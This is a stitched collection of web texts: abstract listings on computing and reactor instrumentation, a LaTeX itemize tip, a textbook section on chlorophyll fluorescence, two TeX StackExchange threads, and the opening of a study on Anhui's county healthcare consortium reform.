chapters, this book begins with an overview of the evolution of personal computing and includes detailed case studies on two of the most essential personal computers for the 1980s, namely, the IBM Personal Computer and Apple's Macintosh. This text then traces the evolution of modern computing systems from the earliest mechanical calculating devices to microchips. Other chapte 16. Computers and data processing CERN Document Server Deitel, Harvey M 1985-01-01 Computers and Data Processing provides information pertinent to the advances in the computer field. This book covers a variety of topics, including the computer hardware, computer programs or software, and computer applications systems.Organized into five parts encompassing 19 chapters, this book begins with an overview of some of the fundamental computing concepts. This text then explores the evolution of modern computing systems from the earliest mechanical calculating devices to microchips. Other chapters consider how computers present their results and explain the storage and retrieval of 17. Process Principle of Information Institute of Scientific and Technical Information of China (English) 张高锋; 任君 2006-01-01 Ⅰ.IntroductionInformation structure is the organization modelof given and New information in the course ofinformation transmission.A discourse contains avariety of information and not all the informationlisted in the discourse is necessary and useful to us.When we decode a discourse,usually,we do not needto read every word in the discourse or text but skimor scan the discourse or text to search what we thinkis important or useful to us in the discourse as quicklyas possible.Ⅱ.Process Principles of Informati... 18. Medical image processing CERN Document Server Dougherty, Geoff 2011-01-01 This book is designed for end users in the field of digital imaging, who wish to update their skills and understanding with the latest techniques in image analysis. This book emphasizes the conceptual framework of image analysis and the effective use of image processing tools. It uses applications in a variety of fields to demonstrate and consolidate both specific and general concepts, and to build intuition, insight and understanding. Although the chapters are essentially self-contained they reference other chapters to form an integrated whole. Each chapter employs a pedagogical approach to e 19. Hyperspectral image processing CERN Document Server Wang, Liguo 2016-01-01 Based on the authors’ research, this book introduces the main processing techniques in hyperspectral imaging. In this context, SVM-based classification, distance comparison-based endmember extraction, SVM-based spectral unmixing, spatial attraction model-based sub-pixel mapping, and MAP/POCS-based super-resolution reconstruction are discussed in depth. Readers will gain a comprehensive understanding of these cutting-edge hyperspectral imaging techniques. Researchers and graduate students in fields such as remote sensing, surveying and mapping, geosciences and information systems will benefit from this valuable resource. 20. FHR Process Instruments Energy Technology Data Exchange (ETDEWEB) Holcomb, David Eugene [ORNL 2015-01-01 Fluoride salt-cooled High temperature Reactors (FHRs) are entering into early phase engineering development. Initial candidate technologies have been identified to measure all of the required process variables. The purpose of this paper is to describe the proposed measurement techniques in sufficient detail to enable assessment of the proposed instrumentation suite and to support development of the component technologies. This paper builds upon the instrumentation chapter of the recently published FHR technology development roadmap. Locating instruments outside of the intense core radiation and high-temperature fluoride salt environment significantly decreases their environmental tolerance requirements. Under operating conditions, FHR primary coolant salt is a transparent, low-vapor-pressure liquid. Consequently, FHRs can employ standoff optical measurements from above the salt pool to assess in-vessel conditions. For example, the core outlet temperature can be measured by observing the fuel s blackbody emission. Similarly, the intensity of the core s Cerenkov glow indicates the fission power level. Short-lived activation of the primary coolant provides another means for standoff measurements of process variables. The primary coolant flow and neutron flux can be measured using gamma spectroscopy along the primary coolant piping. FHR operation entails a number of process measurements. Reactor thermal power and core reactivity are the most significant variables for process control. Thermal power can be determined by measuring the primary coolant mass flow rate and temperature rise across the core. The leading candidate technologies for primary coolant temperature measurement are Au-Pt thermocouples and Johnson noise thermometry. Clamp-on ultrasonic flow measurement, that includes high-temperature tolerant standoffs, is a potential coolant flow measurement technique. Also, the salt redox condition will be monitored as an indicator of its corrosiveness. Both
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https://liam0205.me/2013/12/02/LaTeX-How-to-start-itemize-on-same-line-as-text/
LaTeX 提供的 itemize 环境和 enumerate 环境事实上都是 list 环境的一种,但 itemize 和 enumerate 不允许修改 \labelsep 等距离。因此,要达到我们的目的,我们要么使用原始的 list 环境,要么使用 description 环境——它允许修改这些距离。 Sometimes, we hope that an itemize environment could start at the same line of certain text, rather than start at the next line as the default does. Moreover, the labels should be vertically aligned. The itemize and enumerate environment provided by the standard LaTeX are both descendant of list environment, however, length, such as \labelsep, are prevented from modifying. Thus, we have two choices: using list or using description whose length chould be modified. Code: And the output:
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http://plantsinaction.science.uq.edu.au/content/125-chlorophyll-fluorescence
# 1.2.5 - Chlorophyll fluorescence ## 1.0-Ch-Fig-1.13.jpeg Figure 1.13 Catching the Light is a demonstration of photosynthesis in action. Photosynthesis begins when light is absorbed by chlorophyll. The flask contains chlorophyll extracted from spinach leaves. When a beam of light passes through the extract, the chlorophyll absorbs this energy. But because the chlorophyll in the flask has been isolated from the plant, energy cannot be converted and stored as sugar. Instead it is released as heat and red fluorescence. Note the green ring below the flask which is transmitted light, the colour we normally perceive for chlorophyll. The colour of a leaf is green because it reflects and transmits green light but absorbs the blue and red components of white light. (Image courtesy R. Hangarter) A dilute solution of leaf chlorophyll in organic solvent appears green when viewed in white light. Wavelengths corresponding to bands of blue and red have been strongly absorbed (Figure 1.8), whereas mid-range wavelengths corresponding to green light are only weakly absorbed, hence the predominance of those wavelengths in transmitted and reflected light. However, when viewed at right angles to the light source, the solution will appear deep red due to energy re-emitted as fluorescence (Figure 1.13). The red colour is evident regardless of the colour of the source light. Chlorophyll within the two photosystems can absorb energy from incident photons. This absorbed energy can be dissipated by driving the processes of photosynthesis, as heat, or re-emitted as fluorescence radiation. These are all complementary processes so that fluorescence provides an important tool in the study of photosynthesis. The normal processes of photochemistry and electron transport within intact leaves typically reduce the amount of fluorescence, a process referred to as quenching. In the demonstration shown in Figure 1.13 the chlorophyll has been isolated from the plant these processes are disrupted, minimizing the quenching effects. Fluorescence spectra are invariate, and the same spectrum will be obtained (e.g. Figure 1.8 inset) regardless of which wavelengths are used for excitation. This characteristic emission is especially valuable in identifying source pigments responsible for given emission spectra, and for studying changes in their photochemical status during energy transduction. Fluorescence emission spectra (Figure 1.8 inset) are always displaced towards longer wavelengths compared with corresponding absorption spectra (Stoke’s shift). As quantum physics explains, photons intercepted by the chromophore of a chlorophyll molecule cause an instantaneous rearrangement of certain electrons, lifting that pigment molecule from a ground state to an excited state which has a lifetime of c. 10–9 s. Some of this excitation energy is subsequently converted to vibrational energy which is acquired much more ‘slowly’ by much heavier nuclei. A non-equilibrium state is induced, and molecules so affected begin to vibrate rather like a spring with characteristic periodicity, leading in turn to energy dissipation as heat plus remission of less energetic photons of longer wavelength. Apart from their role in photon capture and transfer of excitation energy, photosystems function as energy converters because they are able to seize photon energy rather than lose as much as 30% of it through fluorescence as do chlorophylls in solution. Moreover, they can use the trapped energy to lift an electron to a higher energy level from where it can commence a ‘downhill’ flow via a series of electron carriers as summarised in Figure 1.11. Protein structure confers very strict order on bound chlorophylls. X-ray crystallographic resolution of the bacterial reaction centre has given us a picture of the beautiful asymmetry of pigment and cofactor arrangements in these reaction centres, and electron diffraction has shown us how chlorophylls are arranged with proteins that form the main light-harvesting complexes of PSII. This structural constraint confers precise distance and orientation relationships between the various chlorophylls, as well as between chlorophylls and carotenoids, and between chlorophylls and cofactors enabling the photosystems to become such effective photochemical devices. It also means that only 2–5% of all the energy that is absorbed by a photosystem is lost as fluorescence. ## Fig 1.14.png Figure 1.14 Fluorescence emission spectra from a leaf measured at room temperature or in liquid nitrogen. Spectra have been normalised to the peak at 748 nm. If leaf tissue is held at liquid nitrogen temperature (77 K), photosynthetic electron flow ceases and chlorophyll fluorescence increases, including some emission from PSI (Figure 1.14). Induction kinetics of chlorophyll fluorescence at 77 K have been used to probe primary events in energy transduction, and especially the functional state of photosystems. Present discussion is restricted to room temperature fluorescence where even the small amount of fluorescence from PSII is diagnostic of changes in functional state. This is because chlorophyll fluorescence is not emitted simply as a burst of red light following excitation, but in an ordered fashion that varies widely in flux during continuous illumination. These transient events (Figure 1.15) are referred to collectively as fluorescence induction kinetics, fluorescence transients, or simply as a Kautsky curve in honour of its discoverer Hans Kautsky (Kautsky and Franck 1943). At room temperature and under steady-state conditions, in vivo Chl a fluorescence from leaves show a characteristic emission spectrum with two distinct peaks around 680–690 nm and 750 nm, both of which mainly originate from photosystem II (Figure 1.14). Because  other chlorophyll molecules can reabsorb fluorescence emitted at 680–690 nm within a leaf, the spatial origin of fluorescence can differ between the 680 and 750nm fluorescence that is detected. The fluorescence waveband measured by room temperature fluorometers differs between instruments. ## Figp1.12.png Figure 1.15 A representative chart recorder trace of induction kinetics for Chl a fluorescence at room temperature from a mature bean leaf (Phaseolus vulgaris). The leaf was held in darkness for 17 min prior to excitation (zig-zag arrow) at a photon irradiance of 85 µmol quanta m-2 s-1. The overall Kautsky curve is given in (b), and an expanded version of the first 400 ms is shown in (a). See text for explanation of symbols and interpretation of variation in strength for these ‘rich but ambiguous signals’! (Based on R. Norrish et al., Photosyn Res 4: 213-227, 1983) Strength of emission under steady-state conditions varies according to the fate of photon energy captured by LHCII, and the degree to which energy derived from photosynthetic electron flow is gainfully employed. However, strength of emission fluctuates widely during induction (Figure 1.15) and these rather perplexing dynamics are an outcome of some initial seesawing between photon capture and subsequent electron flow. Taking Figure 1.11 for reference, complexities of a fluorescence transient (Figure 1.15) can be explained as follows. At the instant of excitation (zig-zag arrow), signal strength jumps to a point called $F_0$ which represents energy derived largely from chlorophyll molecules in the distal antennae of the LHCII complex which fail to transfer their excitation energy to another chlorophyll molecule, but lose it immediately as fluorescence. $F_0$ thus varies according to the effectiveness of coupling between antennae chlorophyll and reaction centre chlorophyll, and will increase due to high-temperature stress or photodamage. Manganese-deficient leaves show a dramatic increase in $F_0$ due to loss of functional continuity between photon-harvesting and energy-processing centres of PSII (discussed further in Chapter 16). Returning to Figure 1.15, the slower rise subsequent to $F_0$ is called $I$, and is followed by a further rise to $F_m$. These stages reflect a surge of electrons which fill successive pools of various electron acceptors of PSII. Significantly, Fm is best expressed in leaves that have been held in darkness for at least 10–15 min. During this dark pretreatment, electrons are drawn from QA, leaving this pool in an oxidised state and ready to accept electrons from PSII. An alternative strategy is to irradiate leaves with far-red light to energise PSI preferentially, and so draw electrons from PSII via the Rieske FeS centre. The sharp peak ($F_m$) is due to a temporary restriction on electron flow downstream from PSII. This constraint results in maximum fluorescence out of PSII at about 500 ms after excitation in Figure 1.15(a). That peak will occur earlier where leaves contain more PSII relative to electron carriers, or in DCMU-treated leaves. Photochemistry and electron transport activity always quench fluorescence to a major extent unless electron flow out of PSII is blocked. Such blockage can be achieved with the herbicide 3-(3,4-dichlorophenyl)-1,1-dimethyl urea (DCMU) which binds specifically to the D1 protein of PSII and blocks electron flow to QB. DCMU is a very effective herbicide because it inhibits photosynthesis completely. As a consequence, signal rise to $F_m$ is virtually instantaneous, and fluorescence emission stays high. Variation in strength of a fluorescence signal from $F_0$ to $F_m$ is also called variable fluorescence ($F_v$) because scale and kinetics of this rise are significantly influenced by all manner of environmental conditions. $F_0$ plus $F_v$ constitute the maximal fluorescence ($F_m$) a leaf can express within a given measuring system. The $F_v/F_m$ ratio, measured after dark treatment, therefore reflects the proportion of efficiently working PSII units among the total PSII population. Hence it is a measure of the photochemical efficiency of a leaf, and correlates well with other measures of photosynthetic effectiveness (discussed further in Chapter 12). ### (b) Fluorescence relaxation kinetics Both the patterns of initial induction of fluorescence, and its subsequent decay once the light has ceased, are important indicators of the underlying structure and function of photosynthetic systems. The latter is referred to as the relaxation kinetics of a fluorescence event. In a typical experiment the chlorophyll is exposed to repeated pulses of light and the relaxation kinetics measured (Figure 1.16). ## Figp1.13.png Figure 1.16 Induction and relaxation kinetics of in vivo Chl a fluorescence from a well-nourished radish leaf (Raphanus sativus) supplied with a photon irradiance of actinic light at 500 µmol quanta m-2 s-1 and subjected to a saturating pulse of 9000 µmol quanta m-2 s-1 for 0.8 s every 10 s. Output signal was normalised to 1.0 around the value for $F_m$ following 30 min dark pretreatment. Modulated light photon irradiance was <1 µmol quanta m-2 s-1. See text for definition of symbols and interpretation of kinetics. (Original data from J. Evans generated on a PAM fluorometer - Heinz Walz GmbH, Germany) Excellent fluorometers for use in laboratory and field such as the Plant Efficiency Analyser (Hansatech, King’s Lynn, UK) make accurate measurements of all the indices of the Kautsky curve and yield rapid information about photochemical capacity and response to environmental stress. Conventional fluorometers (e.g. Figure 1.15) use a given source of weak light (commonly a red light-emitting diode producing only 50–100 µmol quanta m–2 s–1) for both chlorophyll excitation and as a source of light for photosynthetic reactions. Even more sophisticated is the Pulse Amplitude Modulated (PAM) fluorometer (Walz, Effeltrich, Germany) which employs a number of fluorescence- and/or photosynthesis-activating light beams and probes fluorescence status and quenching properties. These fluorimeters measure fluorescence excited by a weak source of light that is modulated: that is a beam that applies short, square pulses of saturating light for chlorophyll excitation on top of a constant beam of light that sustains photosynthesis (actinic light). A combination of optical filters plus sophisticated electronics is used to tune the detector to detect only fluorescence excited by the modulated light beam. In this way, most of the continuous background fluorescence and reflected long-wavelength light is disregarded. Most significantly, relative fluorescence can be measured in full sunlight in the field. The functional condition of PSII in actively photosynthesising leaf tissue is thus amenable to analysis. This instrument also reveals the relative contributions to total fluorescence quenching by photochemical and non-photochemical processes and will help assess any sustained loss of quantum efficiency in PSII. Photosynthetic electron transport rates can be calculated concurrently. These techniques have revolutionised the application of chlorophyll fluorescence to the study of photosynthesis. Photochemical quenching ($q_p$) varies according to the oxidation state of electron acceptors on the donor side of PSII. When QA is oxidised (e.g. subsequent to dark pretreatment), quenching is maximised. Equally, $q_p$ can be totally eliminated by a saturating pulse of excitation light that reduces QA, so that fluorescence yield will be maximised, as in a PAM fluorometer. Concurrently, a strong beam of actinic light drives photosynthesis (maintaining linear electron flow) and sustaining a pH gradient across thylakoid membranes for ATP synthesis. Those events are a prelude to energy utilisation and contribute to non-photochemical quenching ($q_n$). This $q_n$ component can be inferred from a combination of induction plus relaxation kinetics. In Figure 1.16, a previously darkened radish leaf (QA oxidised and ready to receive an electron from P680; 'traps open') initially receives weak modulated light (<1 µmol quanta m–2 s–1) that is insufficient to close traps but sufficient to establish a base line for constant yield fluorescence ($F_0$). This value will be used in subsequent calculations of fluorescence indices. The leaf is then pulsed with a brief (0.8 s) saturating flash (9000 µmol quanta m–2 s–1) to measure $F_m$. Pulses follow at 10 s intervals to measure $F_m^\prime$. Actinic light (500 µmol quanta m–2 s–1) starts with the second pulse and pH starts to build up in response to photosynthetic electron flow. Photosynthetic energy transduction comes to equilibrium with these conditions after a minute or so, and fluorescence indices $q_n$ and $q_p$ can then be calculated as follows: $q_n=\frac{F_m - F_m^\prime}{F_m - F_0} \text{, and } q_p=\frac{F_m^\prime-F}{F_m^\prime - F_0} \tag{1.1}$ Under these steady-state conditions, saturating pulses of excitation energy are being used to probe the functional state of PSII, and by eliminating $q_p$ the quantum efficiency of light-energy conversion by PSII ($\Phi_{PSII}$) can be inferred: $\Phi_{PSII} = \frac{F_m^\prime - F}{F_m^\prime} \tag{1.2}$ If overall quantum efficiency for O2 evolution is taken as 10 (discussed earlier), then the rate of O2 evolution by this radish leaf will be: $\Phi_{PSII} \times \text{photon irradiance}/10 \;(\mu\text{mol O}_2 m^{-2}s^{-1}) \tag{1.3}$ In summary, chlorophyll fluorescence at ambient temperature comes mainly from PSII. This photosystem helps to control overall quantum efficiency of electron flow and its functionality changes according to environmental and internal controls. In response to establishment of a ΔpH across thylakoid membranes, and particularly when irradiance exceeds saturation levels, some PSII units become down-regulated, that is, they change from very efficient photochemical energy converters into very effective energy wasters or dissipators (Chapter 12). Large amounts of the carotenoid pigment zeaxanthin in LHCII ensure harmless dissipation of this energy as heat (other mechanisms may also contribute). PSII also responds to feedback from carbon metabolism and other energy-consuming reactions in chloroplasts, and while variation in pool size of phosphorylated intermediates has been implicated, these mechanisms are not yet understood.
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http://tex.stackexchange.com/questions/54320/ltr-sequences-within-rtl-text-alternative-to-cumbersome-markup/54325
# LTR sequences within RTL text - alternative to cumbersome markup? I am writing a book in Persian that is full of text in Latin scripts scattered all over book. I have to wrap every Latin script with \lt{} to guide xetex to align words from left to right. It's really cumbersome. If I do not use \lr{} output of One Two Three will be Three Two One in Persian document and output of یک دو سه will be سه دو یک‍‍ in English documents. This is a very basic requirement and I wonder why xetex can not do it without extra markup. Is there any way for not using \lr{} - To start it, this is not as basic as you claim it to be. You may be able to do it with using \XeTeXinterchartoks primitive of XeTeX. Aan example: The following was a response of Jonathan Kew (the author of XeTeX) to me a while ago, I just modified his example to work with XePersian: \documentclass{article} \usepackage{xepersian} \makeatletter % classes 1-3 are used in unicode-letters.tex, so we'll put the Latin letters in 4 \newcount\xp@n \xp@n=\A \loop \XeTeXcharclass \xp@n=4 \ifnum\xp@n<\Z \advance\xp@n by 1 \repeat \xp@n=\a \loop \XeTeXcharclass \xp@n=4 \ifnum\xp@n<\z \advance\xp@n by 1 \repeat % when we encounter class 4, we'll do \startlatin \XeTeXinterchartoks 0 4 {\startlatin} \XeTeXinterchartoks 255 4 {\startlatin} % and when we encounter class 0, we'll do \finishlatin \XeTeXinterchartoks 255 0 {\finishlatin} \XeTeXinterchartoks 4 0 {\finishlatin} \newcommand{\startlatin}{\if@Latin\else\bgroup\beginL\latinfont\@Latintrue\fi} \newcommand{\finishlatin}{\if@Latin\unskip\endL\egroup{ }\fi} \makeatother \XeTeXinterchartokenstate=1 \begin{document} این یک آزمایش است One Two Three و ادامه آن \end{document} Note that it both changes font (to latin font) and direction (to LTR). However, I suspect you're not really going to be able to do this on a large scale, because it will be too difficult to handle things like punctuation and spacing at direction changes. In unidirectional text, it may not matter whether the "language switch" happens before or after the space (or punctuation mark), but with bidi it does matter. I think in the end you're still going to need markup if you want to reliably mix LR and RL scripts. In Addition, LR and RL scripts share some characters. So for example, how would you be able to decide if ) or ( is a RL chracter or an LR one? Alternatively, you may be able to implement a preprocessor (written in C or any other language) that converts say, test.tex to test1.tex and places all LR words inside \lr. Actually BiDiTeX exists so you may be able to get its sources and modify it a bit to work with bidi/XePersian packages. - @Thank a lot. There is a lot of standard and technical documents to handling this issue in web and other desktop apps. (consider w3c and Unicode consumerism documents). Currently most of windows applications (if not all) handle mixing RTL and LTR scripts correctly.(consider notepad as a simple app). I will investigate current algorithms to find out whether they are applicable in TeX. I think the Unicode facilities right now have provided required tokens to alleviate the issue. –  PHPst May 4 '12 at 6:09 Good Luck then! –  Simurgh12 May 4 '12 at 6:45 Do you need help with the code in general or the `\XeTeXinterchartoks' primitive? –  Simurgh12 May 4 '12 at 7:10 line 6 is similar to line 7. For example what we do in line 6, is just giving class 4 to capital letters A to Z. In line 7, we give class 4 to letters a to z. –  Simurgh12 May 4 '12 at 7:15 replacing body with \begin{document} \section{x} \end{document} and the code generate an error. –  PHPst Jun 24 '12 at 18:34
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http://tex.stackexchange.com/questions/108359/roman-number-not-showing-with-pageref
# Roman number not showing with \pageref [closed] I tried to use the \pageref to show page number when referencing to a figure/table, it works fine where I have arabic number but for the tables that appear in my appendix the numbers are not showing. I haven't used the package appendix and \appendix but \pagenumbering{Roman} before the appendix starts. \documentclass[12pt,a4paper,twoside,french]{article} \usepackage{mathptmx} \usepackage{amsfonts} \usepackage{amssymb} \usepackage[T1]{fontenc} \usepackage[latin9]{inputenc} \usepackage{tabularx} \usepackage{prettyref} \begin{document} \pagenumbering{gobble} \maketitle \pagenumbering{arabic} \section{Section} See figure \ref{tab:table} on page \pageref{tab:table} \pagenumbering{Roman} \section*{Appendix} \begin{table} \caption{caption} \begin{tabularx}{10cm}{XXl} .... table \end{tabularx} \label{tab:table} \end{table} \end{document} - Please provide a minimum working example(MWE) that generates the problem you're looking to solve. I'm afreid that your current description of the problem isn't quite enough to diagnose what's going on. –  Mico Apr 12 at 15:19 I don't know what I should copy/paste here because I have a huge preamble and I do not know which one is related to the page numbering except the \pagenumbering I wrote. –  esmitex Apr 12 at 15:30 @esmitex You should be able to remove things while keeping the problem and end up with a file of a few lines you can post. If removing something fixes the problem then that is the culprit. See meta.tex.stackexchange.com/questions/228/… –  David Carlisle Apr 12 at 15:37 I believe it might have simply been some compiling bug that led to this error because I copied pasted the full code again in my doculent and the pageref is working with roman numbers now. –  esmitex Apr 12 at 16:06 the style of page number for the first page is set when \maketitle is activated. the style of page numbers won't change until there's a new page. so with the insertion of more material before the appendix (and the command \pagenumbering{Roman}), this will "fix itself". this can be demonstrated by inserting \clearpage before the \pagenumbering command. –  barbara beeton Apr 12 at 16:36
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https://ijic.org/articles/10.5334/ijic.4193/
A- A+ Alt. Display # Does capitation prepayment based Integrated County Healthcare Consortium affect inpatient distribution and benefits in Anhui Province, China? An interrupted time series analysis ## Abstract Objective: This study aims to compare the level and trend changes of inpatient and funds distribution, as well as inpatient benefits before and after the official operation of the ICHC in Anhui. Methods: A total of 1,013,815 inpatient cases were collected from the hospitalisation database in two counties in Anhui Province, China, during the course of the study from January 2014 to June 2017. The effect of the reform was assessed beginning with its formal operation in February 2016. Longitudinal time series data were analysed using segmented linear regression of an interrupted time series analysis. Results: The average hospitalisation expenses showed a decreasing trend and the actual compensation ratio increased significantly (p-value < 0.01). Most of the indicators in the two counties performed well, and the effect of ICHC policy was better in Funan County than in Dingyuan County. The distribution of inpatients and NRCMS funds outside the county after the reform in Dingyuan showed an increasing trend (0.27, 95%CI: 0.12 to 0.42, p-value < 0.01; 0.70, 95%CI: 0.32 to 1.09, p-value < 0.01) and the distribution of inpatients and NRCMS funds in THs showed a more obvious upward trend after the reform in Funan (0.44, 95%CI: 0.22 to 0.67, p-value < 0.001; 0.34, 95%CI: 0.23 to 0.45, p-value < 0.001). Conclusions: This study suggests that the ICHC policy provides effective strategies in promoting the integration of the healthcare delivery system in China. These strategies include strengthening family doctor signing service system and health management, developing telemedicine technology, reducing the weak points of the healthcare services, and introducing private hospitals to form new ICHCs. Keywords: How to Cite: Su D, Chen Y, Gao H, Li H, Shi L, Chang J, et al.. Does capitation prepayment based Integrated County Healthcare Consortium affect inpatient distribution and benefits in Anhui Province, China? An interrupted time series analysis. International Journal of Integrated Care. 2019;19(3):1. DOI: http://doi.org/10.5334/ijic.4193 Published on 08 Jul 2019 Accepted on 29 Apr 2019            Submitted on 19 Jun 2018 ## Introduction In 1957, the World Health Organization proposed the concept of three-tiered healthcare services (basic, secondary, and tertiary healthcare) and recommended that the concept could be implemented in all countries [1]. In 2009, the Chinese government launched its new nationwide healthcare delivery system reform, including the construction of an integrated healthcare delivery system. At present, a three-tiered healthcare network based on county-level hospitals (CHs), township-level hospitals (THs) and village clinics has been established in rural areas [2]. THs and village clinics mainly provide outpatient services, preventive healthcare, health education, and basic healthcare for some common and frequently occurring diseases. Meanwhile, CHs provide outpatient and inpatient services, basic healthcare for the most common and frequently occurring diseases, and diagnosis and treatment of some perplexing diseases. CHs also provide technical support and personnel training to THs and village clinics. The effective coordination and referral mechanism of the three-tiered healthcare network provides protection for rural residents to obtain appropriate basic healthcare. In 2002, the Chinese government established the New Rural Cooperative Medical System (NRCMS) to provide rural residents with outpatient and inpatient reimbursement for some compliance costs [3] and differentiated hospitalisation compensation levels in different-tiered hospitals to guide the reasonable distribution of inpatients. In 2016, the coverage rate of NRCMS reached 99.36%. The hospitalisation rate of rural residents greatly increased from 3.4% in 2003 to 16.4% in 2016 [4]. After 2016, the NRCMS was gradually merged with the medical insurance system for urban residents in various provinces to form the basic medical insurance system for urban and rural residents. In the 21st century, international experience has proven that an integrated healthcare delivery system is an effective means to improve the performance of the service delivery system [5]. The payment of medical insurance, a means of effective regulation, plays the roles of ‘leverage’ and ‘engine’ in an integrated healthcare delivery system [6]. On the one hand, as a benefit incentive, the payment directs healthcare providers to collaborate in the best interests of patients. On the other hand, the payment is also easier to operate than other incentives and has, therefore, become a necessary complementary measure in the international integrated healthcare reform. In 2012, the Centers for Medicare and Medicaid Services in the United States began to implement the Accountable Care Organizations (ACOs) [7]. ACOs adopt the group total prepayment system and implements the scheme of ‘hospital funds balance sharing’, which uses low cost to provide healthcare services and management for patients, with the balance of the insurance funds distributed among members in the regional integration service network. The practice of integrated healthcare delivery system reform began around 2011 in China with urban and rural areas taking the form of a ‘medical commonwealth’ and a vertical collaboration system, respectively [8]. However, in the practice of integrated healthcare delivery system reform in China, the payment of NRCMS is mainly directed at a single hospital or paid-for units, projects, and diseases. As the useful function of controlling cost is established in hospitals, the quality of healthcare is also optimised. However, there has been no orderly guidance for the hospital choices of rural residents and three-tiered healthcare hospitals have yet to achieve a good cooperative relationship with hospitals pursuing the maximisation of their own interests and the healthcare delivery system in a ‘fragmented’ pattern [9]. Given that rural residents in China can freely choose hospitals, the gap in healthcare capabilities of hospitals leads patients to high-level hospitals for improved treatment. This unreasonable distribution reduces the efficiency of healthcare and wastes medical resources, resulting in the rapid increase of healthcare expenses and places tremendous pressure on the NCRMS funds [10]. In 2016, the proportion of patients to primary hospitals decreased by 6.8% in comparison with 2010. This downward trend is more evident in inpatients. In 2016, the proportion of inpatients in primary hospitals decreased by 9.6% in comparison with 2010. The proportion of inpatients in tertiary hospitals increased but decreased in secondary hospitals. The per capita hospitalisation cost of inpatients in tertiary hospitals in 2016 was 12,847.8 yuan, which was more than twice that in secondary hospitals (5,569.9 yuan) [11]. In February 2015, Anhui Province launched the reform of the Integrated County Healthcare Consortium (ICHC) and identified the first batch of 15 pilot counties [12]. The pilot counties then proceeded with program preparation and institutional adjustments and officially operated in February 2016. The specific measures of the reform are as follows: (1) Integrate high-quality healthcare resources in the county, led by CHs and jointly by THs and village clinics and to establish a number of ICHCs that can provide integrated and continuous healthcare for residents within the ICHC. At the same time, form a horizontal competition between different ICHCs. (2) The core of the reform is the capitation prepayment of the NRCMS funds. According to the number of the population covered by the ICHC, the management department of NRCMS pre-packages healthcare costs, including outpatient and inpatient services and referral services, to the lead hospital in ICHC. The NRCMS funds follow the settlement principle of ‘exceeds expenditures does not make up, the balance holds for use’. ICHCs determined the distribution of balance between three-tiered hospitals through performance assessment and realised the integration of the healthcare delivery system and NRCMS payment system. Although the implementation of ICHC reform in Anhui Province has not been long, some scholars in China have studied the effect of this reform. Wang et al. [13] collected NRCMS data from 2014 to 2016 in Funan County (reformed) and Yingshang County (unreformed) in Anhui and used annual data to compare the trend change and effect of the ICHC before and after the reform in Funan County. A year-by-year decline of the proportion of the expenditure, hospitalization expenses and hospitalization reimbursement by NRCMS outside the county, and an increase of such proportion within the county between 2014 and 2016. Liu et al. [14] analysed the data of NRCMS dataset in Dingyuan County for 2015–2016 through descriptive statistical analysis and found that the number of inpatients seeking treatment outside of the county decreased by 3.31% and the number of inpatients in county- and township- level hospitals were increasing. Yu [15] used medical insurance theory to analyse the changes of medical expenses in ICHC and found that after the reform in Tianchang City in Anhui, the proportion of inpatients in county-level hospitals increases, medical expenses have been further controlled, and the actual reimbursement ratio increases. On the basis of literature research, Zhao [16] used the implementation status and effectiveness of ICHC in Tianchang City of Anhui using ROCCIPI framework, and found that optimizing the distribution mechanism of benefits is the core of reforming sustainable development. Although the ICHC policy has been widely implemented in Anhui, its analysis methods mainly concentrated on theoretical analysis and qualitative research based on descriptive analysis using annual data. Thus, little evidence based on time series data has been published on the effect of this policy. Existing studies on the effect of the evaluation of ICHC show that ICHC reform has positive changes in all indicators [13, 14, 15, 16]. However, we assume that the reform may have certain problems which we verify in this study. Therefore, this study aims to use the interrupted time series analysis (ITSA) method to compare the changes in the levels and trends of inpatients and NRCMS funds distribution and the benefits of inpatients before and after the implementation of the capitation prepayment based ICHC to identify the strengths and deficits in the reform. We hypothesize that the ICHC reform will significantly improve the distribution of inpatient and fund, and that the benefits will be better. However, due to the defects in the specific ICHC policy design of each county, there may be differences in the effect of the reform, and some indicators may show poor results. The analysis of the reasons for the differences in indicators is the key to futher improve the ICHC policy design. ## Methods and data ### Study design and sampling In the regional healthcare delivery system reform, the reform of the NRCMS payment system is usually closely related to the medical treatment process (outpatient and inpatient) [17]. Therefore, the rural inpatient data in reform areas were considered as the study object. This study conducted a longitudinal survey on the inpatient data between 1 January 2014 and 30 June 2017 with a quasi-experimental design before and after the policy intervention. The ‘interrupted time point’ was February 2016 when the ICHC reform was formally launched. Anhui Province is located in Eastern China. We chose Dingyuan County and Funan County, located respectively in the eastern and western part of Anhui province, as our research sample (Figure 1 and Table 1). The two counties were chosen for two reasons. (1) As part of the first batch of pilot counties with capitation prepayment based ICHC reform, the two counties provided a high degree of credibility for assessing the reform effect. (2) Although the capitation prepayment based ICHC reform was performed in the two counties, some differences still exist in specific policies. Figure 1 The geolocation of Dingyuan County and Funan County in Anhui Province, China. Table 1 Social economic status and other characteristic of sampling counties in 2016. Dingyuan Funan Total area (km2) 2998.0 1768.4 GDP (billion RMB) 166.3 145.6 Resident population 801000 1183000 Rural population 645732 603345 Per capita disposable income of rural residents (RMB) 10220 10196 Number of CHs 1 4 Number of THs 28 31 Number of ICHCs 1 3 Number of outpatients of NRCMS 101087 203255 Hospital bed utilization ratio (%) 35.64 42.36 Average length of stay (LoS) of rural inpatients (days) 5.77 7.59 Number of health personnel per 1000 5.06 3.30 Number of practicing physician per 1000 1.70 0.83 Number of registered nurse per 1000 1.65 0.75 Number of hospital bed per 1000 3.63 3.14 Note: GDP, Gross Domestic Product; RMB, Ren Min Bi; CHs, County-level Hospitals; THs, Township-level Hospitals; ICHCs, Integrated County Healthcare Consortiums; NRCMS, New Rural Cooperative Medical System; LoS, Length of Stay. ### Data and outcome variables The data were derived from the National Dataset for New Rural Cooperative Medical Insurance in Dingyuan and Funan and were quality-checked by the National Health and Family Planning Commission and hospitals of Dingyuan and Funan. The following information was contained in the hospitalisation database: (1) socio-demographic characteristics, including sex, age, and house address, (2) hospital information, including hospital name and level (hospitals outside the county, CHs and THs), (3) principal diagnosis with the 10th revision of the International Classification of Diseases coding system, and (4) hospitalisation expenses, including total expenses and details, OOP, and actual compensation expenses. Dingyuan and Funan had 343,981 and 669,834 hospitalisation records, respectively, between 1 January 2014 and 30 June 2017. All patient information, such as name, address, and inpatient number was excluded before the data were provided to the study team. Inpatient distribution refers to the inpatients who have the option to select an hospital, according to their own actual health needs and disease severity to obtain healthcare services. Inpatient benefits refers to the health economic burden of inpatients and the level of actual benefits during the utilisation of healthcare services. In the context of patients having the freedom to choose hospitals and differential compensation system for medical insurance in China, inpatient distribution is often used as an important indicator of the effectiveness of the medical service system reform in China [18]. The resulting change in the distribution of medical insurance funds is 